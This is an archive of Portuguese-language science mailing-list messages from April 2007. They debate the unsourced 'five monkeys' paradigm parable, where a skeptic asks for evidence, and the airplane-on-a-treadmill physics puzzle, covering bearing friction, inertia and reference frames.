> To: ciencialist@yahoogrupos.com.br
> Sent: Sunday, April 15, 2007 3:16 PM
> Subject: Re: [ciencialist] COMO NASCE UM PARADIGMA
>
>
> Caro Silvio,
>
> As experiências de Pavlov dizem respeito ao estabelecimento de um
>reflexo
> condicionado em um único indivíduo, não à formação de um hábito cultural
>em
> uma comunidade. São coisas muito diferentes.
>
> [ ]s
>
> Alvaro Augusto
>
> ----- Original Message -----
> From: "Silvio Cordeiro" <scordeiroes@superig.com.br>
> To: <ciencialist@yahoogrupos.com.br>
> Sent: Friday, April 13, 2007 9:52 PM
> Subject: Re: [ciencialist] COMO NASCE UM PARADIGMA
>
> Álvaro: essa história, resíduo das esperiências de Pavlov, são descritas
>há
> mais de 30 anos em palestras de psicólogos: o curioso é que ao longo do
> tempo, se outras foram feitas, não vieram a público....
> As experiências que a marinha americana faz com golfinhos e com
>cefalópodes
> são mantidas em absoluto sigilo: eles já são treinados para colocar uma
> granada no casco de um submarino cujo som lhes é passado pelo controle
>do
> sonar de de um navio... isso é o que se sabe....
> Russos e americanos têm uma quantidade absurda de experiências com
>animais,
> guardadas como segredo pois são peças importantes em qualquer
>necessidade
> militar.
>
> E impressionante: gostaria de saber se algum listeiro tem alguma notícia
>do
> que acontece com nossas abelhas: estão desaparecendo aos milhares....
>
> sds.,
>
> silvio.
> ----- Original Message -----
> From: Alvaro Augusto (L)
> To: ciencialist@yahoogrupos.com.br
> Sent: Wednesday, April 11, 2007 1:42 PM
> Subject: Re: [ciencialist] COMO NASCE UM PARADIGMA
>
> Essa é realmente velha, mas cabem as perguntas de sempre:
>
> - Quais os nomes dos pesquisadores?
> - Em que instituição foram realizados os experimentos?
> - Houve grupo de controle?
> - Os experimentos puderam ser reproduzidos com sucesso por um grupo de
> pesquisadores independentes?
> - Os resultados foram publicados em um periódico peer-reviewed?
>
> Sem tais respostas, podemos concluir que o autor anônimo está apenas
> tentando estabelecer mais um paradigma: o paradigma de que os paradigmas
> podem ser estabelecidos sem que as pessoas verifiquem se o experimento
> alegado realmente existiu.
>
> E que a alma de Thomas Kuhn descance em paz...
>
> [ ]s
>
> Alvaro Augusto
>
> ----- Original Message -----
> From: "murilo filo" <avalanchedrive@hotmail.com>
> To: <ciencialist@yahoogrupos.com.br>
> Sent: Tuesday, April 10, 2007 10:34 PM
> Subject: [ciencialist] COMO NASCE UM PARADIGMA
>
> ( essa é velha, mas é muito boa. um pequeno tema p/sua meditação...
> quem são os que matam os paradigmas?)
>
> >COMO NASCE UM PARADIGMA
> >
> >
> >Um grupo de cientistas colocou cinco macacos numa jaula, em cujo centro
> >puseram uma escada e, sobre ela, um cacho de bananas.
> >Quando um macaco subia a escada para apanhar as bananas, os cientistas
> >lançavam um jato de água fria nos que estavam no chão.
> >Depois de certo tempo, quando um macaco ia subir a escada, os outros
> >enchiam-no de porradas.
> >Passado mais algum tempo, nenhum macaco subia mais a escada, apesar da
> >tentação das bananas.
> >Então, os cientistas substituíram um dos cinco macacos.
> >A primeira coisa que ele fez foi subir a escada, dela sendo rapidamente
> >retirado pelos outros, que o encheram de porradas, antes que recebessem
>o
> >jato de água fria.
> >Depois de algumas surras, o novo integrante do grupo não mais subia a
> >escada.
> >Um segundo foi substituído, e o mesmo ocorreu, tendo o primeiro
> substituto
> > participado, com entusiasmo, da surra ao novato.
> >Um terceiro foi trocado, e repetiu-se o fato. Um quarto e, finalmente,o
> >último dos veteranos foi substituído.
> >Os cientistas ficaram, então, com um grupo de cinco macacos que, mesmo
> >nunca tendo tomado um banho frio, continuavam batendo naquele que
> tentasse
> >chegar às bananas.
> >Se fosse possível perguntar a algum deles porque batiam em quem
>tentasse
> >subir a escada, com certeza a resposta seria: "Não sei, as coisas
>sempre
> >foram assim por aqui..."
> >
> >Conte esta história para seus amigos, para que, vez por outra,
> >questionem-se porque estão batendo...
> >
> >"É MAIS FÁCIL DESINTEGRAR UM ÁTOMO DO QUE UM PRECONCEITO".
> > ( Albert Einstein )
> >
> >
> >Sds,
> >Edenilson Araújo
> >
>
>
>
>
>
>
>------------------------------------------------------------------------------
>
>
> No virus found in this incoming message.
> Checked by AVG Free Edition.
> Version: 7.5.446 / Virus Database: 269.4.0/761 - Release Date: 14/4/2007
>21:36
>
>
>[As partes desta mensagem que não continham texto foram removidas]
>
>
>
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>http://www.ciencialist.com
>
>
>##### ##### ##### #####
>Links do Yahoo! Grupos
>
>




SUBJECT: P/ JC - Re: Balanço do avião - Não to entendendo nada
FROM: José Carlos Antonio <profjc2003@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 18/04/2007 02:07

:)))

José Renato,

Ptolomeu era um cara brilhante e inventou epiciclos e deferentes para
tentar salvar o modelo geocêntrico de mundo (que andava capengando
feito esse problema do avião), mas não deu certo. :)

Já que você quer resolver um problema que parece que se modificou ao
longo da nossa conversa, melhor seria então você propor o problema no
original (eu lhe pedi isso no início da NOSSA conversa, caso tenha se
esquecido) e com TODOS os detalhes que você acha pertinentes.

De qualquer forma, já fica então estabelecido que desprezando-se o
atrito nos rolamentos das rodas (e note que eu não disse ENTRE AS
RODAS E A PISTA) o avião voa independentemente do movimento da
esteira, ok?

Aguardo seu "novo" problema, com todos os detalhes pertinentes. Não se
acanhe, pode descrever o problema e a SUA solução com todos os
detalhes, ok?

Abraços,
JC


--- Em ciencialist@yahoogrupos.com.br, José Renato <jrma@...> escreveu
>
> José Carlos, escreveu: [ Não, José Renato, o avião não será
carregado MESMO!
> E é justamente aí que está o problema básico de sua formação em
Física como
> mencionei no início. Você não conseguiu ainda compreender bem o
papel do
> atrito e da inércia. Não há nenhum atrito no rolamento das rodas #(por
> suposição do problema)# e o avião, como tudo que tem massa, tem
inércia,
> resiste à mudança de movimento até que lhe seja aplicada uma força
> resultante não nula. [ ... ] [ NÃO, José Renato, não existe atrito nos
> rolamentos da roda. Você pode girá-la sem transmitir forças para o
avião.
> Esse foi seu próprio
> pressuposto no caso 1. ]
> .................................................
>
> Caro, José Carlos, finalmente a luz! Vc está considerando que *não há
> atrito* entre o avião e a esteira. Mas essa premissa foi inserida pelo
> Tanaka e Homero em comentários posteriores. No problema original não
se fala
> em atrito, muito menos em atrito zero. Peço verificar que nas minhas
> explicações que não há indicação de atrito zero. O problema não
menciona
> isso. Considero o atrito normal de rolamentos. Vc entrou no bonde
andando e
> ficou perdido no problema. Mas acredito que agora, após sua
reavaliação do
> problema, chegaremos a um consenso.
>
> Abraços
> José Renato
> ...................................................
>
>
> From: "José Carlos Antonio" <profjc2003@...>
> To: <ciencialist@yahoogrupos.com.br>
> Sent: Monday, April 16, 2007 11:08 PM
> Subject: [ciencialist] P/ JC - Re: Balanço do avião - Não to
entendendo nada
>
>
> Comento seus comentários deixando espaços entre o texto...
>
> --- Em ciencialist@yahoogrupos.com.br, José Renato <jrma@> escreveu
> >
> > Olá, José Carlos! Faço comentários no corpo do e-mail abaixo, após
> JR1 -,
> > OK?
> > Marquei meus comentários anteriores com JR - , sem o índice 1.
> > ................................................
> >
> > From: "José Carlos Antonio" <profjc2003@To:
> <ciencialist@yahoogrupos.com.br>
> > Sent: Sunday, April 15, 2007 3:53 AM
> > Subject: Rw: [ciencialist] P/ JC - Re: Balanço do avião - Não to
> entendendo
> > nada
> >
> >
> > Olá José Renato,
> >
> > Acredito que sua dúvida seja relevante e talvez se deva a alguns
> > problemas na sua formação básica em Física. Assim, vou tentar ajudar
> > no que for possível e rezarei para que seus vícios de aprendizagem não
> > sejam maiores que minha didática. Então vamos lá... (Por partes)
> > JR1 - O objetivo não é inferir quem tem problemas de formação
básica em
> > Física. Isso é irrelevante. Serve apenas para o inferidor se sentir
> melhor
> > em relação à sua falta de entendimento ao esquema apresentado.
>
>
> Esse pode não ser o seu objetivo, mas é o meu. Pode não ter relevância
> para você, mas para mim é a única coisa relevante de fato. :)
>
> Esqueceu-se que sou professor? Professores ganham a vida e perdem
> minutos preciosos que poderiam dedicar a seus próprios filhos na árdua
> luta de tentar facilitar a aprendizagem dos outros. Às vezes em troca
> de desaforos, mas também é possível ganhar algum dinheiro. :)
>
>
> > --- Em ciencialist@yahoogrupos.com.br, José Renato <jrma@> escreveu
> >
> > JR - Caro, Prof. José Carlos!
> > Sabemos que todo movimento tem um ponto como referência, o ponto zero.
> >
> > Vamos começar por aqui. Talvez o que você tenha dito seja que "para se
> > descrever um movimento é bom estabelecer um referencial em relação ao
> > qual efetuaremos medidas". O "Ponto zero" a que você se refere é a
> > "origem" do referencial escolhido. Os referenciais não são do
> > "movimento", mas sim do "observador"; daí decorre que, como você
> > parece estar tentando fazer, diferentes observadores podem ter
> > diferentes descrições para um mesmo movimento caso tenham escolhido
> > referenciais diferentes. Perfeito, mas a "descrição do movimento" não
> > é o movimento em si. Procure lembrar disso.
> > JR1 - Redundante ao que já tinha apresentado de forma objetiva. Só um
> > reparo: se os observadores escolherem *o mesmo ponto de referência* o
> > movimento terá o mesmo esquema de desenvolvimento.
>
>
> Redundância é um dos princípios pedagógicos da aprendizagem já
> proposto desde os behavioristas. Redunda, redunda, redunda e fixa a
> aprendizagem. :)
>
>
> > JR - Usualmente, consideramos que a Terra está "fixa". Sua
> superfície está
> > sempre no mesmo lugar. Desconsideramos todos os demais movimentos,
como:
> > rotação, translação, nutação, precessão do equinócio e translação
> rumo ao
> > Apex, ponto imaginário entre as constelações de Hércules e Balança.
> >
> > Sim, essa é uma simplificação útil na maioria dos casos.
> >
> > JR - Entretanto, para um cálculo de trajetórias fora da superfície
> > terrestre, como ocorre em naves espaciais, já não podemos
desconsiderar
> > os principais movimentos da Terra, da Lua, do Sol e dos planetas.
> >
> > Na verdade podemos, pois os referenciais, como você parece saber bem,
> > podem ser escolhidos conforme a conveniência do observador. Nada
> > impede que descrevamos os movimentos de uma nave tomando como
> > referencial a Terra, o Sol ou qualquer outro lugar. A questão é sempre
> > a mesma: "qual é o melhor referencial para se descrever o movimento
> > com o mínimo de complexidade possível?". Procure lembrar disso também.
> > JR1 - Estou falando da influência gravitacional desses astros
> citados acima,
> > que estão em movimento, as quais devem ser considerados nas
> trajetórias de
> > naves ou satélites.
>
>
> Não, você só estava falando do avião e de referenciais. E eu também. :)
>
> Mas isso não tem a menor importância. :)))
>
>
> > JR - Esse comentário inicial é para relembrar e alertar que *todos os
> > movimentos* são relativos a algum ponto de referência. A depender da
> escolha
> > dessa referência podemos ter várias interpretações.
> >
> > Exato. E isso vale para movimentos na Terra ou fora dela.
> >
> > JR - No nosso caso há apenas duas possibilidades básicas a serem
> utilizadas:
> > um ponto no solo-terra ou um ponto na pista-esteira.
> >
> > Não é verdade. Talvez aqui esteja começando o problema. Como você
mesmo
> > acabou de dizer acima, qualquer referencial pode ser escolhido e,
> como eu
> > frisei um pouco mais acima, é bom escolhermos um
> > referencial que torne a descrição do movimento tão simples quanto
> possível.
> > No caso da descrição do movimento de um avião o que parece ser mais
> simples
> > é escolher a Terra como referencial e desprezar todos os seus
movimentos
> > (rotação, translação, etc.).
> > JR - Vc entende o que eu quis dizer com possibilidades *básicas*?
> >
> > JR -Trago a seguir o texto de minha última mensagem para continuar os
> > esclarecimentos ali já iniciados.
> >
> > [ Vc - e acredito que a grande maioria dos participantes da lista -
> também
> > não acharam a solução que eu achei desde a primeira vez que refleti
> sobre o
> > problema aqui na lista, há pelo menos dois anos. Só que eu tinha
> dispensado
> > a solução que vcs vêem porque, nesta solução em que ele voa, o
avião se
> > deslocava com o dobro da velocidade *em relação à esteira*... Mas
> quando o
> > referencial é o solo-terra tanto o avião como a esteira se deslocam
> na mesma
> > velocidade, em sentidos contrários. ]
> >
> > 1. Ponto de referência no solo-terra, eixo positivo à sua direita e
> > negativo à esquerda.
> > Ve = velocidade da esteira
> > Va = velocidade do avião
> > Va = -Ve
> > O ponto 0 no solo-terra corresponde a um ponto (') na esteira
> >
> > Ve =]> avião
> > <--"-------------------'------------------"----- esteira
> > _____________0_____________ solo-terra
> > - neg. + pos.
> >
> > | 1000 | 1000 |
> >
> > Após 10 segundos o avião atingiu uma velocidade Va=180m/s
> > no ponto (") 1000 m à direita e a esteira acelerou simultaneamente
> > com o avião e atingiu a mesma velocidade Ve=180m/s, após os
> > 10s, se deslocando 1000m à esquerda até o ponto eqüidistante (")
> > Em relação ao ponto 0 no solo-terra o avião percorreu 1000m,
> > mas em relação ao ponto (') na esteira, que coincidia com o
> > ponto 0 no solo-terra, ele se deslocou 2000m.
> > *Em relação ao ponto (') na esteira* o avião está se deslocando
> > com o *dobro da velocidade* com que se desloca a esteira em
> > relação ao ponto 0 no solo-terra.
> >
> > OK. Sua interpretação está muito boa.
> > JR 1 - Grato. Nessa possibilidade estamos de acordo, nos concentremos
> > na outra possibilidade a seguir.
>
>
> É, é lá que está o erro. :)
>
>
> > JR - 1.1 - Avião parado-estacionado e a esteira acionada
acelerando até
> > atingir a velocidade negativa -Ve.
> > Após 10 segundo deslocou-se 1000 metros à esquerda.
> >
> > =]> avião pousado sobre a esteira *com turbinas desligadas*
> > é carregado para trás mil metros do ponto 0 em solo-terra.
> >
> > ERRADO. A esteira NÃO CARREGA o avião. [ ... ]
> > JR1 - O seu errado está errado... Claro que um avião pousado sobre
> > a esteira com as turbinas paradas será carregado tranqüilamente
> > pela esteira, quando a esteira se movimenta. Faço esse raciocínio
> > por partes para ver se vc entende os diversos movimentos que
> > ocorrem no esquema.
>
>
> Não, José Renato, o avião não será carregado MESMO! E é justamente aí
> que está o problema básico de sua formação em Física como mencionei no
> início. Você não conseguiu ainda compreender bem o papel do atrito e
> da inércia. Não há nenhum atrito no rolamento das rodas (por suposição
> do problema) e o avião, como tudo que tem massa, tem inércia, resiste
> à mudança de movimento até que lhe seja aplicada uma força resultante
> não nula. Você pode girar as rodas do avião para o lado que quiser,
> mas sem atrito nos rolamentos dela não haverá como transmitir força
> para o avião (e essa era uma das simplificações adotadas no problema:
> desprezar o atrito nos rolamentos da roda - exemplifiquei isso
> apontando que você o desprezou no primeiro caso, só não consegue
> compreender que o atrito também é desprezado no segundo caso, mas já
> veremos porque...).
>
> Seu problema não é com o referencial, é com o conceito de atrito e de
> inércia. Ah, também tem outro: com o conceito de força Normal (força
> de compressão entre duas superfícies).
>
>
> > [ ... ] ERRADO. A esteira NÃO CARREGA o avião. Ele permanecerá
> > parado sobre o ponto O. Veja que se a esteira carregasse o avião,
> > então no primeiro caso o avião deveria ter ficado em repouso sobre o
> ponto O
> > (pois ele andou 1000 m para a direita e subtraindo os 1000 que a
> esteira o
> > teria carregado para a esquerda teríamos um deslocamento total em
> relação à
> > ao solo igual zero!); se ele não ficou parado no primeiro caso é
porque
> > estamos admitindo que o movimento da esteira não afeta o do avião (a
> esteira
> > e o avião não trocam forças horizontais, apenas verticais).
> > JR1 - Veja que quando a esteira se movimenta, com o avião pousado
> sobre ela
> > com turbinas desligadas, cria uma componente horizontal que desloca
> o avião
> > na mesma direção do movimento da esteira.
>
>
> NÃO, José Renato, não existe atrito nos rolamentos da roda. Você pode
> girá-la sem transmitir forças para o avião. Esse foi seu próprio
> pressuposto no caso 1.
>
> Eu sei que não lhe parece nada natural imaginar isso, pois isso só
> existe no mundo idealizado do problema que vocês inventaram (sem
> atrito nenhum no rolamento da roda do avião), mas tente imaginar que
> sua esteira acelerou rapidamente... O avião não ficaria para trás e as
> rodas dele girariam? Pois é; sem nenhum atrito seria isso o que você
> veria para qualquer aceleração da esteira: esteira indo, avião
> ficando, rodinhas rodando livres e soltas.
>
>
> > Observe que você ainda está usando o referencial do solo e o
> problema parece
> > não ser a escolha do referencial e sim a maneira como você trata a
> interação
> > entre a esteira e o avião. Vejamos adiante...
> > JR1 - Quando vc afirmou acima que a esteira não carrega o avião vi
> que é a
> > maneira como vc trata a interação entre a esteira e o avião que
está lhe
> > confundindo. Ao se movimentar a esteira cria uma componente que move o
> > avião na mesma direção do movimento da esteira. A menos que vc
> considere um
> > avião pendurado sem contato com a esteira ou contato especial com
> atrito
> > zero.
>
>
> :))) Cruzes, que péssimos professores você teve. :)
>
> Eu não estou me confundindo não, é que não há mesmo nenhuma componente
> de força horizontal aplicada pela esteira ao avião. A esteira gira as
> rodas do avião, mas as rodas não carregam o avião, apenas giram
> (livres e soltas). :)
>
> Pegue um carrinho de brinquedo, coloque-o em uma mesa horizontal,
> sobre uma folha de papel sulfite, e puxe-a rapidamente; você verá que
> o carrinho não segue a folha. Isso deve-se à inércia e ao pouco atrito
> nos rolamentos da roda do carrinho.
>
> Se você puxar a folha bem devagar ela arrastará o carrinho, mas isso
> acontece porque HÁ um PEQUENO atrito suficiente para transmitir
> pequenas forças capazes de acelerar o carrinho lentamente. Mas se você
> supor (como está sendo suposto nesse problema) que não existe atrito
> nenhum nos rolamentos da roda, então mesmo puxando a folha
> infinitamente devagar você não moveria o carrinho, apenas giraria suas
> rodas. Sacou?
>
> É a mesma coisa o que acontecerá com o avião.
>
>
> >
> > JR - --"---------------------'--------------------- esteira
> > _____________0___________ solo-terra c/ ponto de ref. 0
> > | 1000m |
> >
> > 1.2 - Se as turbinas do avião estivessem acionadas e ele tivesse
> > acelerado simultaneamente com a esteira - conforme o enunciado
> > do problema - ele teria percorrido *sobre a esteira* os mesmos
> > 1000 metros à direita.
> >
> > Corretíssimo, e lembrando sempre que estamos tomando o solo como
> > referêncial.
> > JR1 - Acima eu estou plotando os dois referenciais coincidindo o ponto
> > 0 no solo-terra com o ponto ( ' ) na esteira. O ponto ( " ) também são
> > coincidentes a 1000 m à esquerda tanto no solo como na esteira. Esse
> > esquema acima é a "foto" tirada no momento após 10s da esteira ser
> > acionada e acelerada.
>
>
> Nada a comentar aqui.
>
>
> > JR - Isto é, continuaria posicionado no ponto 0 no solo-terra.
> > Isto é, não teria se movimentado em relação ao solo e ao ar que
> > o circunda. É como se estivesse estacionado no ponto 0 no solo-terra.
> >
> > ERRADO, pois ele não foi arrastado para trás pela esteira e, da mesma
> > forma, suas turbinas não interferem no movimento da esteira, mas tão
> > somente no movimento do avião. Assim, em relação ao solo, o avião
> > teria se deslocado 1000 m para a direita, exatamente como no primeiro
> > caso.
> > JR1 - Por que vc acha que a esteira não carrega o avião para trás?
>
>
> Eu não acho, eu tenho certeza. (Professor é tudo metido a besta) :)
>
> Foi explicado mais acima, espero que você tenha compreendido dessa
> vez. Mas se não compreendeu, é só dizer qual parte e lá vamos nós de
> novo...
>
>
> > Veja que,
> > para seu melhor entendimento, eu estou raciocinando os movimentos
> > por partes para depois considerá-los simultaneamente, OK? Se as
turbinas
> > estão paradas, a esteira vai acelerar carregando o avião com ela.
>
>
> NÃO, conforme explicado acima.
>
>
> > Após
> > 10s, o avião e o ponto de ref na esteira que coincidia com o pto
de ref
> > situado no solo, está agora a 1000m à esquerda.
>
>
> NÃO, conforme explicado acima.
>
>
> > JR - Sabemos que avião estacionado não alça vôo... A não ser quando
> levado
> > por um furação.
> >
> > Exatamente, no entanto o avião não está parado em relação ao chão e,
> > por isso, ele voa! :)
> > JR1 - Quando os dois movimentos são realizados simultaneamente, após
> os 10s,
> > a esteira terá carregado o avião 1000m à esquerda e, nesse mesmo
> período de
> > 10s, as turbinas terá movimentado o avião 1000m para a direita.
> > No final teremos -1000 + 1000 = zero. Mas, nesse caso, isso ocorre
> > de forma simultânea em parcelas infinitesimais.
>
>
> NÃO conforme explicado acima. Não há movimento de arrasto do avião no
> sentido do movimento da esteira. A esteira APENAS FAZ GIRAR AS RODAS
> DO AVIÃO. :)
>
>
> > > Caso não tenha entendido alguma passagem peço especificar.
> >
> > Entendi todas as passagens. Espero que tenha entendido as explicações.
> >
> > Para complementar meus comentários e tentar ajudá-lo um pouco mais a
> > superar esse problema de interpretação sugiro que atente para o fato
> > de que seu erro não diz respeito aos referenciais adotados, que
> > na verdade foram o mesmo - o chão - nos dois casos, mas sim o de
> > admitir dois tipos de interação diferentes entre a esteira e o avião:
> > JR1 - Veja que eu considero no esquema o pto de ref na esteira ( '
) e,
> > após 10s, o ponto ( " ) à esquerda.
>
>
> Eu sei o que você fez (na noite passada, he he) José Renato. Foi um
> erro banal (no sentido de que qualquer um, sabendo ou não Física, pode
> cometê-lo vez por outra). Muitos o cometem. Não ligue para meu
> sarcasmo, é que eu me divirto ensinando as pessoas que não querem
> "aprender" porque são "pirracentas". :)
>
>
> > Primeiro caso: você considerou, corretamente (pelas condições do
> > problema), que o movimento da esteira não afeta o movimento do avião,
> > ou seja, a esteira não carrega o avião;
> > JR1 - Explique porque a esteira não carrega o avião pousado sobre
> > ela com as turbinas paradas... Esteira transportadora que não
> > transporta me é estranha.
>
>
> Foi explicado acima. Mas caso ainda reste alguma dúvida relativa ao
> "peso" do avião, perceba que isso não importa já que não há atrito no
> rolamento da roda. Se o avião pesar 1 N ou 10^9 N isso só irá alterar
> a força de contato entre a roda e a esteira, mas essa força é vertical
> se a esteira estiver na horizontal e, portanto, não possui nenhuma
> componente na horizontal capaz de alterar o movimento horizontal do
avião.
>
> Experimente patinar carregando alguns sacos de arroz nos braços, você
> notará que seu movimento não se modificará muito devido ao peso extra
> (você não perderá velocidade significativamente mais rápido do que sem
> os pesos extras). Isso ocorre, novamente, porque o atrito no rolamento
> das rodas é pequeno. Se esse atrito fosse nulo você não notaria
> nenhuma diminuição no movimento, pois não haveria nenhuma resultante
> horizontal.
>
>
>
> > Segundo caso: você considerou no mesmo problema, e erroneamente (pelas
> > condições do problema), que o movimento da esteira afeta o movimento
> > do avião, ou seja, que a esteira carrega o avião.
> > JR1 - Gostaria de saber porque vc acha que a esteira não carrega o
avião
> > pousado sobre ela com turbinas paradas, igual a um pacote sobre
qualquer
> > esteira usada para transporte.
>
>
> Porque o pacote não possui rolamento. O atrito entre o pacote e a
> esteira é o atrito estático (pacote parado sobre a esteira) e de
> escorregamento (sem rolar). Esse tipo de atrito depende diretamente da
> força de compressão (força Normal - com a mesma intensidade do peso no
> caso do avião na superfície horizontal) entre as superfícies do pacote
> e da esteira (Formuleca: Atrito estático máximo = coeficiente de
> atrito estático X força Normal). Se o pacote for cilíndrico e puder
> rolar sobre a esteira o atrito será de rolamento e é calculado de
> outra forma, mas ainda assim depende da força Normal. Mas no caso de
> rodas que giram presas a rolamentos internos só há transmissão de
> forças horizontais se houver atrito nesses rolamentos internos da roda
> (procure na internet algumas imagens de rolamentos com eferas ou
> cilindros entre o eixo e a roda). Nesse último caso o peso do corpo
> afeta menos o movimento e, no caso idealizado no probleminha do avião,
> esse atrito foi totalmente desprezado (e se não tivesse sido, a parte
> I da sua explicação estaria furada, pois lá você desprezou esse atrito).
>
>
> > Provavelmente seu erro se deve a uma má compreensão conceitual do
> > "atrito", pois no primeiro caso você consegue facilmente desprezar o
> > atrito dos rolamentos da roda do avião, o que faz com que você perceba
> > corretamente que o movimento da esteira apenas aumenta a velocidade de
> > rotação das rodas do avião, mas não afeta o movimento do próprio
> > avião. Já no segundo caso, talvez pelo fato de que o avião esteja
> > inicialmente em repouso, você passou a "admitir um atrito inexistente"
> > que "carregaria o avião" no sentido do movimento da esteira; porém,
> > tudo o que você veria seria uma esteira rolando para a esquerda, as
> > rodas do avião girando e o avião parado até o momento em que liga sua
> > turbinas e então começa a se mover para a direita.
> > JR1 - O atrito considerado é o normal de qualquer avião.
>
>
> Báh, aluno enrolão! :)))
>
> Esse "O atrito considerado é o normal de qualquer avião" é onde
> costumo colocar meu X nas correções. :)))
>
> O atrito considerado no problema foi apenas o atrito entre o ar e o
> avião, não nos rolamentos das rodas.
>
> Não me venha com churumelas, veja a explicação que dei acima e fique
> craque em atrito. ;)
>
>
> > Então seu problema não é com os referenciais (e veja que você usou
> > sempre o mesmo referencial), mas sim com o conceito de atrito (e,
> > provavelmente, também com o conceito de inércia).
> > JR1 - Reveja minhas explicações com calma e confirme que eu estou
> > considerando no primeiro caso o pto ref 0 no solo-terra e no segundo o
> > pto ref ( ' ) coincidindo com o ponto 0, antes dos movimento
iniciarem.
>
>
> Ê José, relaxa, eu ganho a vida para ter calma e paciência. :)))
>
> Eu sempre confiro tudo. Você está errado sim e agora acho que já
> percebeu isso claramente. Mas isso não é nenhum pecado, eu não sou
> cristão e não vou lhe cobrar o dízimo. Então aproveite a oportunidade
> e conserte o "erro de formação" que havia. Relaxe. Se ninguém errasse
> nunca eu perderia os meus empregos. Coloque a culpa no seu
> ex-professor e bola pra frente. ;)
>
>
> > Espero ter ajudado.
> > JR1 - Só dialogando com objetividade é que podemos perceber
> > o que o outro já sabe e o que ainda não sabe.
>
>
> Yes! Objetividade, essa é a palavra. Você está me saindo um ótimo
> aluno. (Depois eu mando a fatura, he he).
>
>
> Abraços,
> JC
>
>
> > Abraços,
> > Prof. JC
> >
> > Abraços
> > José Renato
> > ..................................................
> > >
> > > From: "José Carlos Antonio" <profjc2003@To:
> > <ciencialist@yahoogrupos.com.br>
> > > Sent: Saturday, April 14, 2007 1:29 AM
> > > Subject: [ciencialist] P/ JC - Re: Balanço do avião - Não to
> > entendendo nada
> > > :)
> > >
> > >
> > > Olá José Renato,
> > ( apaguei o restante )
>




SUBJECT: Álvaro e seu Blog
FROM: "J.Victor" <j.victor.neto@uol.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 18/04/2007 06:15


Lista,

Sugiro visitar o blog abaixo, do colega Álvaro. Quem não for lá, não sabe o que está perdendo! Recomendo todos os artigos e, em especial, o abaixo. Entre outras jóias de informação, sua análise sobre o fato de Feynman ser avesso a homenagens é um destaque à parte. Confiram.

http://alvaroaugusto.blogspot.com/search/label/Feynman

Sds,
Victor







[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: Re: [ciencialist] Balanço do avião - Nova situação
FROM: "Luiz Ferraz Netto" <leobarretos@uol.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 18/04/2007 07:05

J. Renato,

especifique detalhadamente o que vc chama de "atrito entre avião e esteira".
Tenha em mente que:
o avião possui um 'trem de pouso' rigidamente fixado a ele (pode ser móvel, mas sempre fixo ao avião);
no trem de pouso há 'rodas' que giram ao redor de um eixo através de rolamentos (seja de esfera ou cilindros);
nas rodas há pneus que tocam o solo (ou a esteira);
no trem de pouso há sapatas de frenagem à disco para as rodas, comandadas pelo piloto.

Tenha em mente que, se não há derrapagem, a velocidade do ponto de contato do pneu com o solo (ou esteira) é sempre ZERO!

[]'


===========================
Luiz Ferraz Netto [Léo]
leobarretos@uol.com.br
http://www.feiradeciencias.com.br/doacoes.asp
===========================
-----Mensagem Original-----
De: "José Renato" <jrma@terra.com.br>
Para: <ciencialist@yahoogrupos.com.br>
Enviada em: terça-feira, 17 de abril de 2007 21:15
Assunto: Re: [ciencialist] Balanço do avião - Nova situação


Luiz, parece-me que vc também incorporou o atrito especial igual a zero ao
enunciado do problema original. Para avaliar corretamente meu raciocínio de
que o avião não voa, quando é considerado o ponto de ref para as medições
dos movimentos na própria esteira, será necessário voltar ao enunciado
original que não inclui atrito zero. Vale lembrar que se o atrito entre o
avião e a esteira for zero o problema perde o sentido. Afinal, o que o torna
interessante é exatamente a interação entre os movimentos do avião e o da
esteira.
[]s
José Renato
..........................................

From: "Luiz Ferraz Netto" <leobarretos@To: <ciencialist@yahoogrupos.com.br>
Sent: Tuesday, April 17, 2007 8:37 AM
Subject: Re: [ciencialist] Balanço do avião - Nova situação


Olá J. Renato,

com satisfação darei meu parecer 'divino'.

Antes, porém, reflita sobre a seguinte situação: sobre uma folha de jornal
esticada sobre a mesa e bem no seu centro há uma xícara. Se vc puxar
rapidamente o jornal rente à mesa a xícara sairá do lugar? Ela acompanha o
jornal?

Se vc concluir que a xícara acompanhará o jornal nesse puxão, nada poderei
explicar sobre o avião pousado sobre uma esteira, com rodas 'desbrecadas' e
atritos nulos.

Mas, a conclusão é: o avião (nas condições especificadas) pousado sobre a
esteira não acompanhará a esteira no seu movimento, desde que a esteira se
desloque na mesma direção da fuselagem do avião. Se a esteira for puxada na
direção das asas, ai sim, o avião acompanhará a esteira (mas, esse não é o
caso em questão).
Ao ligar as turbinas o avião se moverá independentemente da existência ou
não da esteira e, existindo, não importará seu sentido de movimento ao longo
da direção do movimento do avião.

[]'
===========================
Luiz Ferraz Netto [Léo]
leobarretos@uol.com.br
http://www.feiradeciencias.com.br/doacoes.asp
===========================
-----Mensagem Original-----
De: "José Renato" <jrma@terra.com.br>
Para: <ciencialist@yahoogrupos.com.br>
Enviada em: segunda-feira, 16 de abril de 2007 19:42
Assunto: Re: [ciencialist] Balanço do avião - Nova situação


Luiz, para não deixar a situação anterior inconclusa, como ocorreu há uns
dois anos, antes de analisar essa nova proposta gostaria de ter seu parecer
sobre a questão que já está em discussão.
Abraços
José Renato
............................................

From: "Luiz Ferraz Netto" <leobarretos@To: <ciencialist@yahoogrupos.com.br>
Sent: Monday, April 16, 2007 12:32 PM
Subject: [ciencialist] Balanço do avião - Nova situação


Olá J. Renato e todos da thread do avião/esteira,

vou propor uma nova situação e apreciaria sugestões:

Um avião à hélice ou jato (não importa) prepara-se para aterrar numa longa
pista e baixa seu trem de pouso. Aproximando-se da cabeceira da pista, já
quase tocando o solo o piloto percebe que a pista útil (faixa de pouso) é
constituída por uma interminável esteira em movimento.
Ele percebe tb que no justo instante em que as rodas tocam a esteira, essa
tem a mesma velocidade do avião e mesmo sentido de movimento. Ele não aciona
freio algum pois percebe que a esteira já está suportando o peso do aparelho
e que as rodas estão paradas em relação à esteira (não transladam e não
giram); mas desliga os motores. Não se preocupe com o comprimento da
esteira; ela vai até onde nos interessar e, eventualmente, poderá ir
lentamente diminuindo sua velocidade em relação ao solo esqueça tb qqer
atrito de escorregamento ou rolamento das rodas.
O avião para em relação ao solo ou continua acompanhando a esteira?

[]'

Nota: Outrossim, lembro, delete as partes repetitivas e os pés das
mensagens.
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Luiz Ferraz Netto [Léo]
